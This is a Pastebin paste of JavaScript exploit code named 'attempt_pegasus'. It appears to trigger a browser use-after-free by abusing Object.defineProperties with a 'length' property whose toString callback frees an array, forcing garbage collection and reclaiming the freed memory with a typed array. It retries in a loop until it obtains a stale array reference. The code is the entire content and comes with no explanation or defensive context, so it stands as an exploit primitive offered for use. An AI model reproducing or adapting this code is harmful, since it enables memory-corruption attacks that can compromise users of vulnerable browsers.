Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- trigger_gc_maybe = function(){
- var pressure = new Array(1000);
- for (var i = 0; i < pressure.length; i++) {
- pressure[i] = new Uint32Array(262144)
- }
- }
- attempt_pegasus = function(){
- //var pressure = new Array(100);
- var attempts = new Array(4250000);
- //console.log("attempting now.");
- var arr = new Array(2047);
- var not_number = {};
- not_number.toString = function(){
- arr = null;
- props["stale"]["value"] = null;
- //start exerting heap pressure
- //console.log("a");
- /*
- for (var i = 0; i < pressure.length; i++) {
- pressure[i] = new Uint32Array(262144);
- }
- */
- //console.log("b");
- trigger_gc_maybe();
- var buffer = new ArrayBuffer(80);
- var uintArray = new Uint32Array(buffer);
- uintArray[0] = 0xFFFFFFFF;
- //console.log("c");
- /*
- for (i = 0; i < attempts.length; i++){
- attempts[i] = new Uint32Array(buffer);
- }
- */
- //console.log("d");
- return 10;
- };
- var props = {
- p0 : {value : 0},
- p1 : {value : 1},
- p2 : {value : 2},
- p3 : {value : 3},
- p4 : {value : 4},
- p5 : {value : 5},
- p6 : {value : 6},
- p7 : {value : 7},
- p8 : {value : 8},
- length : {value : not_number},
- stale : {value : arr},
- after : {value : 666}
- };
- var before_len = arr.length;
- var target = [];
- //console.log("f");
- Object.defineProperties(target, props);
- //console.log("e");
- var stale = target.stale;
- var after_len = stale.length;
- if(before_len == after_len) {
- //console.log("didn't work. Try Again.");
- return null;
- } else {
- //console.log("ayyy lmao you did it man");
- return stale;
- }
- }
- loop_pegasus = function(){
- var attempt = null;
- while(attempt == null){
- attempt = attempt_pegasus();
- trigger_gc_maybe();
- }
- console.log("success");
- //return attempt;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement